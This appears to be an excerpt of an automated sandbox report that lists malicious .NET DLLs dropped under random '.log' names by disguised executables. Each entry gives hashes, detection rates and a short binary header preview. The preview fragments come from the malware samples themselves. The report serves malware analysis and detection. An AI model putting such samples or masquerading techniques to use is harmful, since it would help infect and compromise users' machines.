Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......g.........." .....V...........t... ........@.. ....................................@.................................pt..K.......l............................................................................ ............... ..H............text....T... ...V.................. ..`.rsrc...l............X..............@..@.reloc...............\..............@..B.................t......H.......H...(q..........P.........................................................................n$..Fr.....fQ...M.:..'k.m.(G.c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW....

C:\Users\user\Desktop\XgvwQtEs.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\YTLXwDIz.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ZkmfqpvS.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\aHPfiQDx.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\dYYVtYJg.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\gaqNoVOB.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\hwUMgwXg.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\jLWdviZu.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jUtdfVsr.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jyGvCfcb.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lKQdHBzT.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lNILRSep.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34816
Entropy (8bit):	5.636032516496583
Encrypted:	false
SSDEEP:	384:JS7LcTqpkHdmLrBmyOLkOPXVcqTZH0uZLSHtciyBDVGehpx3ZPyp1MoCy07G7:J+CaBoXTZH0mUfoGCzpapaFy07
MD5:	996BD447A16F0A20F238A611484AFE86
SHA1:	CB0F51CE7FEEE1B5F02D3F13E60D67AF448C478D
SHA-256:	0CB182B9F8BD0804FC3BBA016926199C536BD7491BA577E089271DC1A63B07BE
SHA-512:	80924C19FAF3916DB5F71BE5723B6CB7BB7F731DBBA05B8218746F11FB9470F746B7AC581DB398E388377637811319EF8D6841504DC8EA39C510D7CFCD25184C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lealJKxT.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nBMUCfZn.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	69632
Entropy (8bit):	5.932541123129161
Encrypted:	false
SSDEEP:	1536:yo63BdpcSWxaQ/RKd8Skwea/e+hTEqS/ABGegJBb07j:j+9W+p/LEqu6GegG
MD5:	F4B38D0F95B7E844DD288B441EBC9AAF
SHA1:	9CBF5C6E865AE50CEC25D95EF70F3C8C0F2A6CBF
SHA-256:	AAB95596475CA74CEDE5BA50F642D92FA029F6F74F6FAEAE82A9A07285A5FB97
SHA-512:	2300D8FC857986DC9560225DE36C221C6ECB4F98ADB954D896ED6AFF305C3A3C05F5A9F1D5EF0FC9094355D60327DDDFAFC81A455596DCD28020A9A89EF50E1A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....;.d.........." .................'... ...@....@.. ....................................@.................................\'..O....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................'......H.......l....^..........t...............................................c\|w{.ko.0.g+..v..}.YG.....r....&6?..4...q.1...#..........'.u..,..nZ.R;.)./.S... ..[j.9JLX....CM3.E...P<..Q.@...8....!........_.D..~=d].s`.O."*..F...^...2:.I.$\..b...y..7m..N.lV..ez...x%.......t.K...p>.fH...a5W.........i.......U(......BhA.-..T..R.j.06.8.@......\|.9../..4.CD....T{.2..#=.L..B..N...f(.$.v[.Im..%r..d.h...\.]e..lpHP...^.FW.............X...E..,...?.........k:..AOg.......s..t".5.

C:\Users\user\Desktop\pAGUOyAM.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.870612048031897
Encrypted:	false
SSDEEP:	768:kEXtbvrhKJukN9LCewFI4eYWza7q9GYBAfNhgi2keA1RLaew5trbNM:NhKZEq4hWO7cAfN6DdA1R9w5x
MD5:	3601048DFB8C4A69313A593E74E5A2DE
SHA1:	A36A9842EA2D43D7ED024FFB936B4E9AE6E90338
SHA-256:	F5F1BA9E344B2F2E9CF90978C6D3518DFB55B316489E360874E3A1144BAC3C05
SHA-512:	B619A3D2C5CFADDEC234471FF68F96F19CFBBB5491439C3EE3593E0B2B6F995EBDC208563CC1B04FA383A983540646D02681B0CC039595C1845FE8F7941ABB23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...j..d...........!..................... ........@.. ....................... .......h....@.....................................S.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............K...........w.................................................................................................................................................................................$A.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\uAoBkxMT.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	70144
Entropy (8bit):	5.909536568846014
Encrypted:	false
SSDEEP:	1536:3LM14SKtpfLarGzoQWaqaQ2n5YejqSRKnYdYPgh3c//npRwM:w7KtpTjNNn5YejqSRKnYdYPgJo/pRwM
MD5:	E4FA63649F1DBD23DE91861BB39C317D
SHA1:	25F9115FAF40EC6736FACF2288CAA9B0E6AF9366
SHA-256:	CB4CD707305733ADDFCC54A69DF54A0C8D47C312D969B3E8D38B93E18CCBD8E4
SHA-512:	C4B5A9D66146D98D414BC84CD5C09588E2E02B800B21CE3172042AD7F48CC4AED54772D32C891A921FF102C0C3DB1FEAF52E4D4C714ABDB15F73BAEB9A6F5A39
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 29%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .................)... ...@....@.. ..............................8.....@..................................(..S....@.......................`....................................................... ............... ..H............text...4.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H..............................................................................................................................................................................................NC>.$qK...X....J................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vSFbtVsB.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	34304
Entropy (8bit):	5.618776214605176
Encrypted:	false
SSDEEP:	768:TBS4lqbgy0+q1nyfBYUyxYIAmghwpgAaaY5:TDY0+q1noBhyufmgCgxa
MD5:	9B25959D6CD6097C0EF36D2496876249
SHA1:	535B4D0576746D88537D4E9B01353210D893F4D2
SHA-256:	4DBA0293B2BA9478EC0738BAD92F0E56CB7CF800B0CA4FDA8261EE2C0C91E217
SHA-512:	C6FA40C2DA5B12683F2785F688984754DF5E11B95170B628F2721A21CD9A6E392672166892B994B8996DC961893A57DAD815C959C6076AB4F91404FEF66141FA
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 4%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....~..........n.... ........@.. ...............................G....@.....................................O.................................................................................... ............... ..H............text...t\|... ...~.................. ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........c...8...........b.......................................................................................................................................................................,....:;.....>..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vlAbNuev.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wKKCkQsU.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33792
Entropy (8bit):	5.541771649974822
Encrypted:	false
SSDEEP:	768:VA51bYJhOlZVuS6c4UvEEXLeeG+NOInR:VJEx6f2EEbee/Bn
MD5:	2D6975FD1CC3774916D8FF75C449EE7B
SHA1:	0C3A915F80D20BFF0BB4023D86ACAF80AF30F98D
SHA-256:	75CE6EB6CDDD67D47FB7C5782F45FDC497232F87A883650BA98679F92708A986
SHA-512:	6B9792C609E0A3F729AE2F188DE49E66067E3808E5B412E6DC56A555BC95656DA62ECD07D931B05756303A65383B029E7862C04CA5EA879A3FDFB61789BD2580
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 38%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....\|............... ........@.. ....................................@.................................T...W.................................................................................... ............... ..H............text....z... ...\|.................. ..`.rsrc................~..............@..@.reloc..............................@..B........................H.......Tl...............h..h....................................................................................................................................................................aF..g~Z........................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xqfrsuNN.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\yYksYVbT.log

Download File

Process:	C:\bridgeMonitorDhcpCommon\webDriverintoDll.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\zbqSUreo.log

Download File

Process:	C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
